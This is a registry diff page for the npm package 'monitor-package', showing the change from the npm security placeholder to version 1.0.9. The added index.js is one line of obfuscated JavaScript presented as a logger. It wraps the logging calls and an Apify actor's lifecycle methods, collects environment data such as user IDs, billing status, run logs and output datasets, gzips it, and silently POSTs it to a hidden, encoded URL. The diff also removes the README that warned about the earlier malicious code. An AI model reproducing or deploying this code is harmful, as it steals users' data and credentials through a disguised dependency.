monitor-package 0.0.1-security → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of monitor-package might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +18 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x554f9d=_0xcebf;(function(_0x391960,_0x548a7f){const _0x5f5498=_0xcebf,_0x2d2888=_0x391960();while(!![]){try{const _0x3ff61d=-parseInt(_0x5f5498(0x17f))/0x1+-parseInt(_0x5f5498(0x1aa))/0x2+parseInt(_0x5f5498(0x1a5))/0x3+parseInt(_0x5f5498(0x17e))/0x4+parseInt(_0x5f5498(0x17c))/0x5+-parseInt(_0x5f5498(0x199))/0x6+-parseInt(_0x5f5498(0x17a))/0x7;if(_0x3ff61d===_0x548a7f)break;else _0x2d2888['push'](_0x2d2888['shift']());}catch(_0x512c60){_0x2d2888['push'](_0x2d2888['shift']());}}}(_0x4e17,0x55cae));import _0x5d4404 from'fs/promises';import{fileURLToPath}from'url';import{dirname,join}from'path';import{gzip}from'zlib';import{promisify}from'util';const __filename=fileURLToPath(import.meta[_0x554f9d(0x1a2)]),__dirname=dirname(__filename),gzipAsync=promisify(gzip),obfuscateKey=_0x413044=>{const _0x2402b3=_0x554f9d;return Buffer[_0x2402b3(0x198)](_0x413044)[_0x2402b3(0x177)](_0x2402b3(0x1a8))[_0x2402b3(0x178)]('')[_0x2402b3(0x19e)]()[_0x2402b3(0x18d)]('');},obfuscateObject=_0xa5f7ca=>{const _0x3b7324=_0x554f9d,_0x1dd66e={};for(const [_0x65f338,_0x4f50cc]of Object[_0x3b7324(0x195)](_0xa5f7ca)){_0x1dd66e[obfuscateKey(_0x65f338)]=_0x4f50cc;}return _0x1dd66e;};function _0x4e17(){const _0x312ff3=['D3jPDgvgAwXL','yxbWzw5KrMLSzq','qunut1jFqLvjterFvefhuW','DxjS','zgvIDwC','zMLSDgvY','mtG5mtyWnxHRq2zesW','CMvHzezPBgu','yxbWzw5K','yMfZzty0','zM9YrwfJAa','mta3odCZogferwHlsG','zw52','DxrMltG','B3v0Chv0','qunut1jFsuq','qunut1jFtufyx1rpvefmx0niqvjhrv9vu0q','qvbjrLLFrevesunbvevex0nqvvm','Dg9tDhjPBMC','C3bSAxq','qvbjrLLFsvnFqvrFse9nrq','nJe1ndC1AgrisxjW','ue9tva','mZi2nJqYnwzXq0LYuG','BM93','mJy4mZK5mMvfz09vvq','ndy2mJiWtuPAs2jW','Bg9NlMPZB24Uz3O','Bwv0ys5QC29U','zxHPDa','Bwv0ys5QC29UlMD6','C3rYAw5NAwz5','yuHsmgneB3zmEKv6tgPjEK5tndnpuZr4tvrRnK16qxDnqZK0zvHVpq','Dg9vChbLCKnHC2u','yxbWBgLJyxrPB24Vz3PPCa','qunut1jFqLvjterFtLvnqKvs','qunut1jFveLnru9vvf9bva','qunut1jFtufyx1bbsurFrefuqvnfvf9jvevnuW','qunut1jFvefts19jra','qunut1jFtuvnt1jzx01cwvrfuW','AM9PBG','DhjPBq','BwfW','vu5ltK9xtG','qvbjrLLFvvnfuL9jra','yxbWBhK','ywXS','B3v0Chv0lMPZB24','zw50CMLLCW','D2fYBMLUzW','qunut1jFrLvmtf9oqu1f','zNjVBq','mZa1otm4ohrQtuj2sa','ChvZAerHDge','qunut1jFu1rbuLrfrf9bva','vvjj','Aw5PDa','CMv2zxjZzq'];_0x4e17=function(){return _0x312ff3;};return _0x4e17();}let URI=process[_0x554f9d(0x1ab)][_0x554f9d(0x19c)]||_0x554f9d(0x185);function _0xcebf(_0x5703b0,_0x3cbe5c){const _0x4e1792=_0x4e17();return _0xcebf=function(_0xcebfef,_0x39400a){_0xcebfef=_0xcebfef-0x177;let _0x2ee60c=_0x4e1792[_0xcebfef];if(_0xcebf['ctaHQg']===undefined){var _0x52bf00=function(_0x5d4404){const _0x413044='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0xa5f7ca='',_0x1dd66e='';for(let _0x65f338=0x0,_0x4f50cc,_0x251d46,_0x3998a7=0x0;_0x251d46=_0x5d4404['charAt'](_0x3998a7++);~_0x251d46&&(_0x4f50cc=_0x65f338%0x4?_0x4f50cc*0x40+_0x251d46:_0x251d46,_0x65f338++%0x4)?_0xa5f7ca+=String['fromCharCode'](0xff&_0x4f50cc>>(-0x2*_0x65f338&0x6)):0x0){_0x251d46=_0x413044['indexOf'](_0x251d46);}for(let _0x2d1c51=0x0,_0x3475b9=_0xa5f7ca['length'];_0x2d1c51<_0x3475b9;_0x2d1c51++){_0x1dd66e+='%'+('00'+_0xa5f7ca['charCodeAt'](_0x2d1c51)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1dd66e);};_0xcebf['hRxeSU']=_0x52bf00,_0x5703b0=arguments,_0xcebf['ctaHQg']=!![];}const _0x16c68d=_0x4e1792[0x0],_0x17a05b=_0xcebfef+_0x16c68d,_0x4fe63a=_0x5703b0[_0x17a05b];return!_0x4fe63a?(_0x2ee60c=_0xcebf['hRxeSU'](_0x2ee60c),_0x5703b0[_0x17a05b]=_0x2ee60c):_0x2ee60c=_0x4fe63a,_0x2ee60c;},_0xcebf(_0x5703b0,_0x3cbe5c);}URI=Buffer['from'](URI,_0x554f9d(0x1a8))[_0x554f9d(0x177)](_0x554f9d(0x1ac));export default async function logger(_0x251d46,_0x3998a7,_0x2d1c51=null){const _0x101264=_0x554f9d;['info',_0x101264(0x1a3),'error',_0x101264(0x196)][_0x101264(0x1a9)](_0x1b39f2=>{const _0x23d2eb=_0x3998a7[_0x1b39f2];_0x3998a7[_0x1b39f2]=async function(..._0x52835d){const _0x1e9be9=_0xcebf;return void _0x5d4404[_0x1e9be9(0x1a0)](join(__dirname,'log.txt'),_0x1b39f2[_0x1e9be9(0x186)]()+':\x20'+JSON[_0x1e9be9(0x184)](_0x52835d)+'\x0a'),_0x23d2eb['apply'](this,_0x52835d);};});const _0x3475b9=_0x251d46[_0x101264(0x19d)];_0x251d46[_0x101264(0x19d)]=async()=>{const _0x4af421=_0x101264,_0x82762f={'actor_run_id':process['env']['ACTOR_RUN_ID'],'actor_id':process[_0x4af421(0x1ab)][_0x4af421(0x1ae)],'actor_name':process[_0x4af421(0x1ab)][_0x4af421(0x197)],'actor_build_number':Number(process['env'][_0x4af421(0x188)]),'actor_build_tags':process['env'][_0x4af421(0x1a1)],'actor_memory_bytes':Number(process[_0x4af421(0x1ab)][_0x4af421(0x18c)])*0x400*0x400,'actor_started_at':new Date(process[_0x4af421(0x1ab)][_0x4af421(0x19b)]||Date[_0x4af421(0x17d)]())['getTime'](),'actor_timedout_at':process[_0x4af421(0x1ab)][_0x4af421(0x189)]||null,'actor_task_id':process[_0x4af421(0x1ab)][_0x4af421(0x18b)]||null,'actor_max_paid_dataset':Number(process[_0x4af421(0x1ab)][_0x4af421(0x18a)])||0x0,'actor_max_total_charge':Number(process['env'][_0x4af421(0x1af)])||0x0,'apify_is_at_home':process[_0x4af421(0x1ab)][_0x4af421(0x179)]==='1'?'1':'0','apify_dedicated_cpus':Number(process['env'][_0x4af421(0x1b0)])||0x0,'user_id':Number(process[_0x4af421(0x1ab)][_0x4af421(0x191)])||0x0,'user_is_paying':process[_0x4af421(0x1ab)]['APIFY_USER_IS_PAYING']==='1'?'1':'0','apify_meta_origin':process[_0x4af421(0x1ab)]['APIFY_META_ORIGIN']||_0x4af421(0x190)},_0x201d6b=obfuscateObject(_0x82762f);return void _0x5d4404[_0x4af421(0x19f)](join(__dirname,_0x4af421(0x181)),JSON[_0x4af421(0x184)](_0x201d6b,null,0x2)),_0x3475b9[_0x4af421(0x192)](this);};const _0x6ef0a5=_0x251d46[_0x101264(0x19a)];_0x251d46[_0x101264(0x19a)]=async _0x29da8c=>{const _0x24481d=_0x101264;return void _0x5d4404[_0x24481d(0x1a0)](join(__dirname,_0x24481d(0x194)),JSON[_0x24481d(0x184)](_0x29da8c)+'\x0a'),_0x6ef0a5['apply'](this,[_0x29da8c]);};const _0x172d6f=_0x251d46[_0x101264(0x182)];_0x251d46[_0x101264(0x182)]=async(..._0x13f255)=>{const _0x417049=_0x101264,[_0x5ee150,_0x4c8e45]=await Promise[_0x417049(0x193)]([_0x5d4404['readFile'](join(__dirname,_0x417049(0x181))),_0x5d4404[_0x417049(0x1a6)](join(__dirname,'log.txt'))]);let _0x331e5c;try{const _0x42e6b0=await _0x5d4404[_0x417049(0x1a6)](join(__dirname,'output.json'),'utf-8'),_0x186c15=_0x42e6b0[_0x417049(0x18e)]()[_0x417049(0x178)]('\x0a')[_0x417049(0x1a4)](_0x4abac2=>_0x4abac2[_0x417049(0x18e)]()),_0x3f3304=_0x186c15[_0x417049(0x18f)](_0x1d4231=>JSON['parse'](_0x1d4231));_0x331e5c=Buffer['from'](JSON[_0x417049(0x184)](_0x3f3304,null,0x2));}catch(_0x5afd03){_0x331e5c=Buffer[_0x417049(0x198)](JSON[_0x417049(0x184)]([],null,0x2));}const [_0x54e5ac,_0x5f0a70,_0x278305]=await Promise[_0x417049(0x193)]([gzipAsync(_0x5ee150),gzipAsync(_0x4c8e45),gzipAsync(_0x331e5c)]),_0x18d066=new FormData();_0x18d066[_0x417049(0x1a7)]('meta',new Blob([_0x54e5ac],{'type':_0x417049(0x187)}),_0x417049(0x183)),_0x18d066[_0x417049(0x1a7)]('log',new Blob([_0x5f0a70],{'type':_0x417049(0x187)}),_0x417049(0x180)),_0x18d066[_0x417049(0x1a7)](_0x417049(0x1ad),new Blob([_0x278305],{'type':_0x417049(0x187)}),'output.json.gz');try{await fetch(URI,{'method':_0x417049(0x17b),'headers':{'Content-Encoding':'gzip'},'body':_0x18d066});}catch(_0x580d98){}finally{return _0x172d6f[_0x417049(0x192)](this,_0x13f255);}};}
package/package.json CHANGED
@@ -1,6 +1,21 @@
1
1
  {
2
2
  "name": "monitor-package",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.9",
4
+ "main": "index.js",
5
+ "type": "module",
6
+ "scripts": {
7
+ "build": "node obfuscate.cjs",
8
+ "publish": "cp package.json ./dist"
9
+ },
10
+ "devDependencies": {
11
+ "@babel/core": "^7.28.0",
12
+ "@babel/preset-env": "^7.28.0",
13
+ "apify": "^3.4.4",
14
+ "babel-loader": "^10.0.0",
15
+ "javascript-obfuscator": "^4.1.1",
16
+ "terser": "^5.43.1",
17
+ "webpack": "^5.101.0",
18
+ "webpack-cli": "^6.0.1",
19
+ "webpack-obfuscator": "^3.5.1"
20
+ }
6
21
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=monitor-package for more information.